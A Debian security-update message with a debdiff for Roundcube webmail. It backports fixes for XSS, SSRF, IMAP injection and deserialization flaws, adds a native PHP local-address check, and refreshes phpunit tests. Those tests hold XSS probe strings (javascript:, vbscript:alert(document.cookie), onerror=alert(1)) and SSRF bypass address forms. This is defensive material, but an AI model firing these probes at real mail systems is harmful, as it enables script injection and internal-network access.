On Thu, 26 Mar 2026 at 09:17:15 +0100, Guilhem Moulin wrote:
> On Fri, 20 Mar 2026 at 18:49:29 +0100, Guilhem Moulin wrote:
>>> Upstream's solution for the last issue adds a new runtime dependency 
>>> mlocati/ip-lib ≥1.22
>>> which unfortunately is not in Debian yet.  I can upload it to sid as
>>> part of the PEAR team, but older suites will need another solution.
>>
>> On second thought there is some value in having the workaround in sid
>> too, at least for now (in case there would be regressions).  Here is the
>> PHP-native alternative I came up with:
>>
>> https://salsa.debian.org/roundcube-team/roundcube/-/blob/debian/latest/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch
>
> There are issues with this solution.

Here are updated debdiffs which fix this as well as the other reported
vulnerability mentioned in #1132268.

-- 
Guilhem.
diffstat for roundcube-1.6.13+dfsg roundcube-1.6.15+dfsg

 CHANGELOG.md                                                        |   18 +
 composer.json-dist                                                  |    3 
 debian/changelog                                                    |   23 +
 debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch |  121 
++++++++
 debian/patches/Fix-FTBFS-with-phpunit-11.patch                      |  142 
++++------
 debian/patches/fix-install-path.patch                               |    4 
 debian/patches/map-sqlite3-to-sqlite.patch                          |    2 
 debian/patches/series                                               |    1 
 debian/patches/update-composer.patch                                |   14 
 plugins/password/password.php                                       |    4 
 program/actions/mail/index.php                                      |    2 
 program/actions/mail/search.php                                     |    4 
 program/actions/mail/send.php                                       |    3 
 program/actions/utils/modcss.php                                    |    2 
 program/include/iniset.php                                          |   11 
 program/include/rcmail_action.php                                   |    3 
 program/lib/Roundcube/db/mysql.php                                  |    5 
 program/lib/Roundcube/rcube_db.php                                  |    6 
 program/lib/Roundcube/rcube_utils.php                               |   48 +++
 program/lib/Roundcube/rcube_washtml.php                             |   46 ++-
 program/localization/lv_LV/messages.inc                             |    8 
 public_html/plugins/password/password.php                           |    4 
 tests/Framework/DB.php                                              |    4 
 tests/Framework/DBMysql.php                                         |   16 -
 tests/Framework/DBPgsql.php                                         |    8 
 tests/Framework/Utils.php                                           |   37 ++
 tests/Framework/Washtml.php                                         |   41 ++
 27 files changed, 451 insertions(+), 129 deletions(-)

diff -Nru roundcube-1.6.13+dfsg/CHANGELOG.md roundcube-1.6.15+dfsg/CHANGELOG.md
--- roundcube-1.6.13+dfsg/CHANGELOG.md  2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.15+dfsg/CHANGELOG.md  2026-03-29 11:45:29.000000000 +0200
@@ -2,6 +2,24 @@
 
 ## Unreleased
 
+- Fix regression where mail search would fail on non-ascii search criteria 
(#10121)
+- Fix regression where some data url images could get ignored/lost (#10128)
+- Fix SVG Animate FUNCIRI Attribute Bypass — Remote Image Loading via 
fill/filter/stroke
+
+## Release 1.6.14
+
+- Fix Postgres connection using IPv6 address (#10104)
+- Security: Fix pre-auth arbitrary file write via unsafe deserialization in 
redis/memcache session handler
+- Security: Fix bug where a password could get changed without providing the 
old password
+- Security: Fix IMAP Injection + CSRF bypass in mail search
+- Security: Fix remote image blocking bypass via various SVG animate attributes
+- Security: Fix remote image blocking bypass via a crafted body background 
attribute
+- Security: Fix fixed position mitigation bypass via use of !important
+- Security: Fix XSS issue in a HTML attachment preview
+- Security: Fix SSRF + Information Disclosure via stylesheet links to a local 
network hosts
+
+## Release 1.6.13
+
 - Managesieve: Fix handling of string-list format values for date tests in Out 
of Office (#10075)
 - Fix remote image blocking bypass via SVG content reported by nullcathedral
 - Fix CSS injection vulnerability reported by CERT Polska
diff -Nru roundcube-1.6.13+dfsg/composer.json-dist 
roundcube-1.6.15+dfsg/composer.json-dist
--- roundcube-1.6.13+dfsg/composer.json-dist    2026-02-08 10:25:02.000000000 
+0100
+++ roundcube-1.6.15+dfsg/composer.json-dist    2026-03-29 11:45:29.000000000 
+0200
@@ -20,7 +20,8 @@
         "roundcube/rtf-html-php": "~2.1",
         "masterminds/html5": "~2.7.0",
         "bacon/bacon-qr-code": "^2.0.0",
-        "guzzlehttp/guzzle": "^7.3.0"
+        "guzzlehttp/guzzle": "^7.3.0",
+        "mlocati/ip-lib": "^1.22.0"
     },
     "require-dev": {
         "phpunit/phpunit": "^9"
diff -Nru roundcube-1.6.13+dfsg/debian/changelog 
roundcube-1.6.15+dfsg/debian/changelog
--- roundcube-1.6.13+dfsg/debian/changelog      2026-02-11 10:55:46.000000000 
+0100
+++ roundcube-1.6.15+dfsg/debian/changelog      2026-03-30 13:40:22.000000000 
+0200
@@ -1,3 +1,26 @@
+roundcube (1.6.15+dfsg-0+deb13u1) trixie-security; urgency=high
+
+  * New upstream security and bugfix release (closes: #1131182, #1132268).
+    + Fix pre-auth arbitrary file write via unsafe deserialization in
+      redis/memcache session handler.
+    + Fix bug where a password could get changed without providing the old
+      password.
+    + Fix IMAP Injection + CSRF bypass in mail search.
+    + Fix remote image blocking bypass via various SVG animate attributes.
+    + Fix remote image blocking bypass via a crafted <body> background
+      attribute.
+    + Fix fixed position mitigation bypass via use of `!important`.
+    + Fix XSS vulnerability in HTML attachment preview.
+    + Fix SSRF and information disclosure vulnerability via stylesheet links
+      pointing to a local network hosts.
+    + Fix SVG animate FUNCIRI attribute bypass (remote image loading via
+      fill/filter/stroke).
+  * Refresh d/patches.
+  * Add custom patch to avoid runtime dependency on mlocati/ip-lib which is
+    not present in trixie.
+
+ -- Guilhem Moulin <[email protected]>  Mon, 30 Mar 2026 13:40:22 +0200
+
 roundcube (1.6.13+dfsg-0+deb13u1) trixie-security; urgency=high
 
   * New upstream security and bugfix release (closes: #1127447).
diff -Nru 
roundcube-1.6.13+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch
 
roundcube-1.6.15+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch
--- 
roundcube-1.6.13+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch
   1970-01-01 01:00:00.000000000 +0100
+++ 
roundcube-1.6.15+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch
   2026-03-30 13:40:22.000000000 +0200
@@ -0,0 +1,121 @@
+From: Guilhem Moulin <[email protected]>
+Date: Fri, 20 Mar 2026 17:34:30 +0100
+Subject: Avoid dependency on new package mlocati/ip-lib
+
+Which as of today is not present in Debian.  The dependency was
+introduced in 27ec6cc9cb25e1ef8b4d4ef39ce76d619caa6870 in order to fix a
+security issue.  While it can be uploaded to sid, we need another
+solution to fix the vulnerability for older suites.
+
+Forwarded: not-needed
+---
+ composer.json-dist                    |  3 +--
+ program/lib/Roundcube/rcube_utils.php | 45 ++++++++++++++++++++++++-----------
+ tests/Framework/Utils.php             |  6 +++++
+ 3 files changed, 38 insertions(+), 16 deletions(-)
+
+diff --git a/composer.json-dist b/composer.json-dist
+index 1807004..ca3de26 100644
+--- a/composer.json-dist
++++ b/composer.json-dist
+@@ -16,8 +16,7 @@
+         "pear-pear.php.net/net_sieve": ">=1.4.5",
+         "roundcube/plugin-installer": ">=0.3.1",
+         "masterminds/html5": ">=2.7.0",
+-        "guzzlehttp/guzzle": ">=7.3.0",
+-        "mlocati/ip-lib": ">=1.22.0"
++        "guzzlehttp/guzzle": ">=7.3.0"
+     },
+     "require-dev": {
+         "phpunit/phpunit": "^9"
+diff --git a/program/lib/Roundcube/rcube_utils.php 
b/program/lib/Roundcube/rcube_utils.php
+index 5e8ac84..d20a509 100644
+--- a/program/lib/Roundcube/rcube_utils.php
++++ b/program/lib/Roundcube/rcube_utils.php
+@@ -1,7 +1,5 @@
+ <?php
+ 
+-use IPLib\Factory;
+-
+ /*
+  +-----------------------------------------------------------------------+
+  | This file is part of the Roundcube Webmail client                     |
+@@ -435,24 +433,43 @@ class rcube_utils
+         if (is_string($host)) {
+             // TODO: This is pretty fast, but a single message can contain 
multiple links
+             // to the same target, maybe we should do some in-memory caching.
+-            if ($address = Factory::parseAddressString($host = trim($host, 
'[]'))) {
++            $address = trim($host, '[]');
++            if ((bool)preg_match('/^([0-9a-f:]*:)?
++                                    
((?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|0?[1-9][0-9]|0{0,2}[0-9])\.){3}
++                                        
(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|0?[1-9][0-9]|0{0,2}[0-9]))$/Dix',
++                                 $address, $matches)) {
++                /* trim leading zeros from IPv4 octets (GuzzleHTTP sanitizes 
such invalid addresses) */
++                $address = @inet_pton($matches[1] . 
preg_replace('/\b0+(?=\d)/', '', $matches[2]));
++            } else {
++                $address = @inet_pton($address);
++            }
++
++            if (is_string($address)) {
+                 $nets = [
+-                    '127.0.0.0/8',    // loopback
+-                    '10.0.0.0/8',     // RFC1918
+-                    '172.16.0.0/12',  // RFC1918
+-                    '192.168.0.0/16', // RFC1918
+-                    '169.254.0.0/16', // link-local / cloud metadata
+-                    '::1/128',
+-                    'fc00::/7',
++                    ['127.0.0.0',   '127.255.255.255'], // loopback
++                    ['10.0.0.0',    '10.255.255.255'],  // RFC1918
++                    ['172.16.0.0',  '172.31.255.255'],  // RFC1918
++                    ['192.168.0.0', '192.168.255.255'], // RFC1918
++                    ['169.254.0.0', '169.254.255.255'], // link-local / cloud 
metadata
+                 ];
++                if (defined('AF_INET6')) {
++                    /* IPv4-compatible and IPv4-mapped IPv6 addresses 
(RFC4291 2.5.5) */
++                    foreach (['::', '::ffff:'] as $prefix) {
++                        foreach ($nets as [$range_start, $range_end]) {
++                            $nets[] = [ $prefix . $range_start, $prefix . 
$range_end ];
++                        }
++                    }
++                    $nets[] = ['::1',    '::1'];
++                    $nets[] = ['fc00::', 
'fdff:ffff:ffff:ffff:ffff:ffff:ffff:ffff'];
++                }
+ 
+-                foreach ($nets as $net) {
+-                    $range = Factory::parseRangeString($net);
+-                    if ($range->contains($address)) {
++                foreach ($nets as [$range_start, $range_end]) {
++                    $range_start = @inet_pton($range_start);
++                    $range_end   = @inet_pton($range_end);
++                    if (strcmp($range_start, $address) <= 0 && 
strcmp($range_end, $address) >= 0) {
+                         return true;
+                     }
+                 }
+-
+                 return false;
+             }
+ 
+diff --git a/tests/Framework/Utils.php b/tests/Framework/Utils.php
+index a27829c..399cea7 100644
+--- a/tests/Framework/Utils.php
++++ b/tests/Framework/Utils.php
+@@ -585,12 +585,18 @@ class Framework_Utils extends TestCase
+         return [
+             // Local hosts
+             ['https://127.0.0.1', true],
++            ['https://127.00.000.0', true],
+             ['https://10.1.1.1', true],
+             ['https://172.16.0.1', true],
+             ['https://192.168.0.100', true],
+             ['https://169.254.0.200', true],
+             ['http://[fc00::1]', true],
+             ['ftp://[::1]:8080', true],
++            ['https://[127.0.0.1]', true],
++            ['https://[::127.0.0.1]', true],
++            ['https://[::127.0.0.001]', true],
++            ['https://[::ffff:192.168.1.2]', true],
++            ['https://[::ffff:192.168.01.002]', true],
+             ['//127.0.0.1', true],
+             ['http://localhost', true],
+             ['http://localhost.localdomain', true],
diff -Nru roundcube-1.6.13+dfsg/debian/patches/Fix-FTBFS-with-phpunit-11.patch 
roundcube-1.6.15+dfsg/debian/patches/Fix-FTBFS-with-phpunit-11.patch
--- roundcube-1.6.13+dfsg/debian/patches/Fix-FTBFS-with-phpunit-11.patch        
2026-02-11 10:55:46.000000000 +0100
+++ roundcube-1.6.15+dfsg/debian/patches/Fix-FTBFS-with-phpunit-11.patch        
2026-03-30 13:40:22.000000000 +0200
@@ -161,7 +161,7 @@
  tests/Framework/Csv2vcard.php                      |  18 +-
  tests/Framework/DB.php                             |  27 +--
  tests/Framework/DBMssql.php                        |  14 +-
- tests/Framework/DBMysql.php                        |  14 +-
+ tests/Framework/DBMysql.php                        |  11 +-
  tests/Framework/DBOracle.php                       |  14 +-
  tests/Framework/DBPgsql.php                        |  22 ++-
  tests/Framework/DBSqlite.php                       |  14 +-
@@ -222,7 +222,7 @@
  tests/StderrMock.php                               |  15 +-
  tests/StorageMock.php                              |   4 +-
  tests/bootstrap.php                                |  21 ++-
- 213 files changed, 2502 insertions(+), 1796 deletions(-)
+ 213 files changed, 2501 insertions(+), 1794 deletions(-)
 
 diff --git a/plugins/acl/tests/Acl.php b/plugins/acl/tests/Acl.php
 index 94e0bd4..0ad987f 100644
@@ -7405,7 +7405,7 @@
          $result = $csv->export();
  
 diff --git a/tests/Framework/DB.php b/tests/Framework/DB.php
-index 3ac4f13..853489d 100644
+index 3700564..b697cf4 100644
 --- a/tests/Framework/DB.php
 +++ b/tests/Framework/DB.php
 @@ -1,12 +1,17 @@
@@ -7528,16 +7528,17 @@
      }
  }
 diff --git a/tests/Framework/DBMysql.php b/tests/Framework/DBMysql.php
-index 1d5a3fc..79fe7d1 100644
+index ce7e68d..75dcc8f 100644
 --- a/tests/Framework/DBMysql.php
 +++ b/tests/Framework/DBMysql.php
-@@ -1,13 +1,19 @@
+@@ -1,13 +1,20 @@
  <?php
  
 +namespace Roundcube\Tests\Framework;
 +
 +use PHPUnit\Framework\Attributes\Group;
 +use PHPUnit\Framework\TestCase;
++use function Roundcube\Tests\invokeMethod;
 +
  /**
   * Test class to test rcube_db_mysql class
@@ -7551,19 +7552,8 @@
 +#[Group('mysql')]
 +class Framework_DBMysql extends TestCase
  {
- 
-     /**
-@@ -15,8 +21,8 @@ class Framework_DBMysql extends PHPUnit\Framework\TestCase
-      */
-     function test_class()
+     public function test_dsn_string()
      {
--        $object = new rcube_db_mysql('test');
-+        $object = new \rcube_db_mysql('test');
- 
--        $this->assertInstanceOf('rcube_db_mysql', $object, "Class 
constructor");
-+        $this->assertInstanceOf(\rcube_db_mysql::class, $object, "Class 
constructor");
-     }
- }
 diff --git a/tests/Framework/DBOracle.php b/tests/Framework/DBOracle.php
 index 8fff546..cb2cab9 100644
 --- a/tests/Framework/DBOracle.php
@@ -7602,7 +7592,7 @@
      }
  }
 diff --git a/tests/Framework/DBPgsql.php b/tests/Framework/DBPgsql.php
-index 86f30a8..edc7bef 100644
+index f081c25..dd505a3 100644
 --- a/tests/Framework/DBPgsql.php
 +++ b/tests/Framework/DBPgsql.php
 @@ -1,22 +1,30 @@
@@ -10006,7 +9996,7 @@
          $idents = $user->list_identities();
  
 diff --git a/tests/Framework/Utils.php b/tests/Framework/Utils.php
-index e65b5a9..8809da2 100644
+index 3baa861..a27829c 100644
 --- a/tests/Framework/Utils.php
 +++ b/tests/Framework/Utils.php
 @@ -1,11 +1,15 @@
@@ -10203,8 +10193,8 @@
          $this->assertEquals("#rcmbody .test { position: absolute; top: 0; }", 
$mod, "Replace position:fixed with position:absolute (5)");
  
          // missing closing brace
-@@ -281,27 +290,27 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
-         $this->assertSame('#rcmbody .test { position: absolute; top: 0; }', 
$mod, 'Replace position:fixed with position:absolute (6)');
+@@ -284,27 +293,27 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+         $this->assertSame('#rcmbody .test { position: absolute; }', $mod, 
'Replace position:fixed with position:absolute (7)');
  
          // allow data URIs with images (#5580)
 -        $mod = rcube_utils::mod_css_styles("body { background-image: 
url(data:image/png;base64,123); }", 'rcmbody');
@@ -10237,7 +10227,7 @@
          $this->assertSame("#rcmbody { color: red; }", $mod);
  
          $style = 'body { background:url(alert(&#039;URL!&#039;)); }';
-@@ -335,7 +344,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -338,7 +347,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
              :root * { color: red; }
              :root > * { top: 0; }
          ';
@@ -10246,7 +10236,7 @@
  
          $this->assertStringContainsString('#rc .testone', $mod);
          $this->assertStringContainsString('#rc .testthree.testfour', $mod);
-@@ -353,24 +362,24 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -356,24 +365,24 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
  
      function test_xss_entity_decode()
      {
@@ -10276,7 +10266,7 @@
      {
          return [
              [
-@@ -445,9 +454,10 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -448,9 +457,10 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
       *
       * @dataProvider data_parse_css_block
       */
@@ -10288,7 +10278,7 @@
      }
  
      /**
-@@ -462,7 +472,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -465,7 +475,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($data as $text => $res) {
@@ -10297,7 +10287,7 @@
              $this->assertSame($res, $result);
          }
      }
-@@ -475,7 +485,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -478,7 +488,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          $data = ['', 'a,b,c', 'a', ',', ',a'];
  
          foreach ($data as $text) {
@@ -10306,7 +10296,7 @@
              $this->assertSame(explode(',', $text), $result);
          }
      }
-@@ -490,7 +500,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -493,7 +503,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($input as $idx => $value) {
@@ -10315,7 +10305,7 @@
          }
  
          $input = [
-@@ -498,7 +508,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -501,7 +511,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($input as $idx => $value) {
@@ -10324,7 +10314,7 @@
          }
      }
  
-@@ -508,13 +518,13 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -511,13 +521,13 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
      function test_get_input_string()
      {
          $_GET = [];
@@ -10341,7 +10331,7 @@
      }
  
      /**
-@@ -522,18 +532,18 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -525,18 +535,18 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
       */
      function test_is_simple_string()
      {
@@ -10372,7 +10362,7 @@
      }
  
      /**
-@@ -548,7 +558,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -551,7 +561,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($test as $v) {
@@ -10381,7 +10371,7 @@
              $this->assertSame($v[2], $result);
          }
      }
-@@ -578,7 +588,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -615,7 +625,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($test as $datetime => $ts) {
@@ -10390,7 +10380,7 @@
              $this->assertSame($ts, $result, "Error parsing date: $datetime");
          }
      }
-@@ -605,7 +615,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -642,7 +652,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($test as $datetime => $ts) {
@@ -10399,7 +10389,7 @@
              $this->assertSame($ts, $result ? $result->format('Y-m-d') : 
false, "Error parsing date: $datetime");
          }
  
-@@ -615,7 +625,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -652,7 +662,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($test as $datetime => $ts) {
@@ -10408,7 +10398,7 @@
              $this->assertSame($ts, $result ? $result->format('Y-m-d H:i:s') : 
false, "Error parsing date: $datetime");
          }
  
-@@ -624,7 +634,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -661,7 +671,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($test as $datetime => $ts) {
@@ -10417,7 +10407,7 @@
              $this->assertSame($ts, $result ? $result->format('Y-m-d H:i:s O') 
: false, "Error parsing date: $datetime");
          }
      }
-@@ -634,17 +644,17 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -671,17 +681,17 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
       */
      function test_anytodatetime_timezone()
      {
@@ -10438,7 +10428,7 @@
              if ($result) $result->setTimezone($tz);  // move to target 
timezone for comparison
              $this->assertSame($ts, $result ? $result->format('Y-m-d H:i') : 
false, "Error parsing date: $datetime");
          }
-@@ -663,7 +673,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -700,7 +710,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($test as $data) {
@@ -10447,7 +10437,7 @@
              $this->assertSame($data[2], $result, "Error formatting date: " . 
$data[0]);
          }
      }
-@@ -682,7 +692,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -719,7 +729,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($test as $input => $output) {
@@ -10456,7 +10446,7 @@
              $this->assertSame($output, $result);
          }
      }
-@@ -707,7 +717,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -744,7 +754,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($test as $input => $output) {
@@ -10465,7 +10455,7 @@
              $this->assertSame($output, $result, "Error normalizing '$input'");
          }
      }
-@@ -730,7 +740,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -767,7 +777,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          ];
  
          foreach ($test as $idx => $params) {
@@ -10474,7 +10464,7 @@
              $this->assertSame($params[2], $result, "words_match() at index 
$idx");
          }
      }
-@@ -756,7 +766,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -793,7 +803,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
          }
  
          foreach ($test as $input => $output) {
@@ -10483,7 +10473,7 @@
              $this->assertSame($output, $result);
          }
      }
-@@ -766,17 +776,17 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -803,17 +813,17 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
       */
      function test_random_bytes()
      {
@@ -10507,7 +10497,7 @@
      {
  
          /*
-@@ -813,9 +823,10 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -850,9 +860,10 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
       * @param string $encoded Encoded email address
       * @dataProvider data_idn_convert
       */
@@ -10519,7 +10509,7 @@
      }
  
      /**
-@@ -825,9 +836,10 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -862,9 +873,10 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
       * @param string $encoded Encoded email address
       * @dataProvider data_idn_convert
       */
@@ -10531,7 +10521,7 @@
      }
  
      /**
-@@ -835,14 +847,14 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -872,14 +884,14 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
       */
      function test_idn_to_ascii_special()
      {
@@ -10549,7 +10539,7 @@
      {
          return [
              ['%z', 'hostname', 'hostname'],
-@@ -857,15 +869,16 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -894,15 +906,16 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
       *
       * @dataProvider data_parse_host
       */
@@ -10568,7 +10558,7 @@
      {
          return [
              [['hostname', null, null], ['hostname', null, null]],
-@@ -888,15 +901,16 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -925,15 +938,16 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
       *
       * @dataProvider data_parse_host_uri
       */
@@ -10587,7 +10577,7 @@
          return [
              ['both',    'Fwd: Re: Test subject both', 'Test subject both'],
              ['both',    'Re: Fwd: Test subject both', 'Test subject both'],
-@@ -914,8 +928,9 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -951,8 +965,9 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
       * 
       * @dataProvider data_remove_subject_prefix
       */
@@ -10598,7 +10588,7 @@
      }
  
      /**
-@@ -923,13 +938,13 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -960,13 +975,13 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
       */
      function test_server_name()
      {
@@ -10615,7 +10605,7 @@
      }
  
      /**
-@@ -939,31 +954,31 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -976,31 +991,31 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
      {
          $_SERVER['test'] = 'test.com';
  
@@ -10814,7 +10804,7 @@
  
          $this->assertSame($result, 
"BEGIN:VCARD\r\nVERSION:3.0\r\nFN:\r\nN:;;;;\r\nEND:VCARD");
 diff --git a/tests/Framework/Washtml.php b/tests/Framework/Washtml.php
-index ef324f8..e8e5a4a 100644
+index ec1dd5d..99859a3 100644
 --- a/tests/Framework/Washtml.php
 +++ b/tests/Framework/Washtml.php
 @@ -1,11 +1,14 @@
@@ -10855,13 +10845,13 @@
          $this->assertMatchesRegularExpression('|href="http://test\.com";|', 
$washed, "Link href with newlines (#1488940)");
 @@ -56,7 +59,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
      {
-         $html = "<p><img src=\"data:image/png;base64,12345\n\t67890\" /></p>";
+         $html = "<p><img src=\"data:image/png;base64,12345\n\t+/ABC=\" 
/></p>";
  
 -        $washer = new rcube_washtml;
 +        $washer = new \rcube_washtml();
          $washed = $washer->wash($html);
  
-         $this->assertSame("<p><img 
src=\"data:image/png;base64,12345\n\t67890\" /></p>", 
$this->cleanupResult($washed));
+         $this->assertSame("<p><img 
src=\"data:image/png;base64,12345\n\t+/ABC=\" /></p>", 
$this->cleanupResult($washed));
 @@ -74,7 +77,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
              . '<Area href="vbscript:alert(document.cookie)">Internet 
Explorer</p>'
              . '<area HREF="javascript:alert(document.domain)" shape=default>';
@@ -10951,8 +10941,8 @@
 +        $washer = new \rcube_washtml(['html_elements' => ['body']]);
          $washed = $washer->wash($html);
  
-         $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed, 
"Body bgcolor attribute");
-@@ -277,7 +280,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+         $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed, 
'Body bgcolor attribute');
+@@ -284,7 +287,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
      {
          $html = "<p style=\"line-height: 1; height: 10\">a</p>";
  
@@ -10961,7 +10951,7 @@
          $washed = $washer->wash($html);
  
          $this->assertMatchesRegularExpression('|line-height: 1;|', $washed, 
"Untouched line-height (#1489917)");
-@@ -286,7 +289,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -293,7 +296,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
          $html     = "<div style=\"padding: 0px\n   20px;border:1px solid 
#000;\"></div>";
          $expected = "<div style=\"padding: 0px 20px; border: 1px solid 
#000\"></div>";
  
@@ -10970,7 +10960,7 @@
          $washed = $washer->wash($html);
  
          $this->assertSame($this->cleanupResult($washed), $expected, 
'White-space and new-line characters handling');
-@@ -300,7 +303,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -307,7 +310,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
          $html = "<img style=aaa:'\"/onerror=alert(1)//'>";
          $exp  = "<img style=\"aaa: '&quot;/onerror=alert(1)//'\" />";
  
@@ -10979,7 +10969,7 @@
          $washed = $washer->wash($html);
  
          $this->assertTrue(strpos($washed, $exp) !== false, "Style quotes XSS 
issue (#1490227)");
-@@ -308,7 +311,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -315,7 +318,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
          $html = "<img style=aaa:'&quot;/onerror=alert(1)//'>";
          $exp  = "<img style=\"aaa: '&quot;/onerror=alert(1)//'\" />";
  
@@ -10988,7 +10978,7 @@
          $washed = $washer->wash($html);
  
          $this->assertTrue(strpos($washed, $exp) !== false, "Style quotes XSS 
issue (#1490227)");
-@@ -326,7 +329,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -333,7 +336,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
       */
      function test_title()
      {
@@ -10997,7 +10987,7 @@
  
          $html = 
"<html><head><title>title1</title></head><body><p>test</p></body>";
          $washed = $washer->wash($html);
-@@ -372,7 +375,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -379,7 +382,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
    <!-- animate blocked -->
  </svg>';
  
@@ -11006,7 +10996,7 @@
          $washed = $washer->wash($svg);
  
          $this->assertSame($washed, $exp, "SVG content");
-@@ -381,7 +384,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -388,7 +391,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
      /**
       * Test cases for SVG tests
       */
@@ -11015,7 +11005,7 @@
      {
          $svg1 = "<svg id='x' width='100' height='100'><a 
xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' 
/></a></svg>";
  
-@@ -508,9 +511,10 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -533,9 +536,10 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
       *
       * @dataProvider data_wash_svg_tests
       */
@@ -11027,7 +11017,7 @@
          $washed = $washer->wash($input);
  
          $this->assertSame($expected, $this->cleanupResult($washed), "SVG 
content");
-@@ -519,7 +523,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -544,7 +548,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
      /**
       * Test cases for various XSS issues
       */
@@ -11036,7 +11026,7 @@
      {
          return [
              [
-@@ -574,9 +578,10 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -599,9 +603,10 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
       *
       * @dataProvider data_wash_xss_tests
       */
@@ -11048,7 +11038,7 @@
          $washed = $washer->wash($input);
  
          $this->assertSame($expected, $this->cleanupResult($washed), "XSS 
issues");
